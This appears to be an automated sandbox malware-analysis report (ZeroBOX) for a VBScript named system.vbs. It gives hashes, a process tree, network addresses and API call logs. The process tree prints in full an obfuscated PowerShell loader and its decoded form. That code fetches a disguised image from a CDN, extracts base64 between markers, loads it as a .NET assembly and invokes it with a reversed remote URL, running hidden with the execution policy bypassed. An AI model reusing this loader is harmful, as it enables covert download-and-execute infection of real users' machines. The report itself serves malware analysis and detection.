Summary | ZeroBOX

system.vbs

Generic Malware Antivirus Hide_URL PowerShell
Category Machine Started Completed
FILE s1_win7_x6401 July 28, 2023, 10:33 a.m. July 28, 2023, 10:37 a.m.
Size 133.9KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 d64e719c50dcf19c9d911e8eb353a37e
SHA256 67009aca78447a208ae9e2c3a8240b78f5188d4c760712eb02f6e4897dad6d63
CRC32 C692180B
ssdeep 3072:vuZIuZIuZIuZIuZIuZP119xR2uZIuZIuZIuZIuZIuZ0uZIuZIuZIuZIuZIuZ6kLW:gpppppn9pppppdpppppY
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\system.vbs

    2544
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

      2656
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($null, $arguments)"

        2764

IP Address Status Action
164.124.101.2 Active Moloch
54.230.167.126 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

buffer: At line:1 char:166
console_handle: 0x0000003b
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.
console_handle: 0x00000047
1 1 0

WriteConsoleW

buffer: jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.Dow
console_handle: 0x00000053
1 1 0

WriteConsoleW

buffer: nloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString(
console_handle: 0x0000005f
1 1 0

WriteConsoleW

buffer: $imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$start
console_handle: 0x0000006b
1 1 0

WriteConsoleW

buffer: Index = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag)
console_handle: 0x00000077
1 1 0

WriteConsoleW

buffer: ;$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Len
console_handle: 0x00000083
1 1 0

WriteConsoleW

buffer: gth;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substri
console_handle: 0x0000008f
1 1 0

WriteConsoleW

buffer: ng($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64Stri
console_handle: 0x0000009b
1 1 0

WriteConsoleW

buffer: ng($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($comman
console_handle: 0x000000a7
1 1 0

WriteConsoleW

buffer: dBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod
console_handle: 0x000000b3
1 1 0

WriteConsoleW

buffer: ('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($nu
console_handle: 0x000000bf
1 1 0

WriteConsoleW

buffer: ll, $arguments)
console_handle: 0x000000cb
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000d7
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x00000103
1 1 0

WriteConsoleW

buffer: Parameter name: bytes"
console_handle: 0x0000010f
1 1 0

WriteConsoleW

buffer: At line:1 char:229
console_handle: 0x0000011b
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.
console_handle: 0x00000127
1 1 0

WriteConsoleW

buffer: jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.Dow
console_handle: 0x00000133
1 1 0

WriteConsoleW

buffer: nloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString <<<< (
console_handle: 0x0000013f
1 1 0

WriteConsoleW

buffer: $imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$start
console_handle: 0x0000014b
1 1 0

WriteConsoleW

buffer: Index = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag)
console_handle: 0x00000157
1 1 0

WriteConsoleW

buffer: ;$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Len
console_handle: 0x00000163
1 1 0

WriteConsoleW

buffer: gth;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substri
console_handle: 0x0000016f
1 1 0

WriteConsoleW

buffer: ng($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64Stri
console_handle: 0x0000017b
1 1 0

WriteConsoleW

buffer: ng($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($comman
console_handle: 0x00000187
1 1 0

WriteConsoleW

buffer: dBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod
console_handle: 0x00000193
1 1 0

WriteConsoleW

buffer: ('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($nu
console_handle: 0x0000019f
1 1 0

WriteConsoleW

buffer: ll, $arguments)
console_handle: 0x000001ab
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001b7
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001e3
1 1 0

WriteConsoleW

buffer: At line:1 char:335
console_handle: 0x000001ef
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.
console_handle: 0x000001fb
1 1 0

WriteConsoleW

buffer: jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.Dow
console_handle: 0x00000207
1 1 0

WriteConsoleW

buffer: nloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($image
console_handle: 0x00000213
1 1 0

WriteConsoleW

buffer: Bytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex
console_handle: 0x0000021f
1 1 0

WriteConsoleW

buffer: = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.IndexOf($endFlag)
console_handle: 0x0000022b
1 1 0

WriteConsoleW

buffer: ;$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Len
console_handle: 0x00000237
1 1 0

WriteConsoleW

buffer: gth;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substri
console_handle: 0x00000243
1 1 0

WriteConsoleW

buffer: ng($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64Stri
console_handle: 0x0000024f
1 1 0

WriteConsoleW

buffer: ng($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($comman
console_handle: 0x0000025b
1 1 0

WriteConsoleW

buffer: dBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod
console_handle: 0x00000267
1 1 0

WriteConsoleW

buffer: ('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($nu
console_handle: 0x00000273
1 1 0

WriteConsoleW

buffer: ll, $arguments)
console_handle: 0x0000027f
1 1 0

WriteConsoleW

buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x0000028b
1 1 0

WriteConsoleW

buffer: ception
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672738
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672eb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006726f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006726f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006726f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006722f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00673038
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00672f78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfda0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006c0660
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006c0660
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006c0660
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x006bfde0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02810000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02940000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02941000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02942000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02767000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
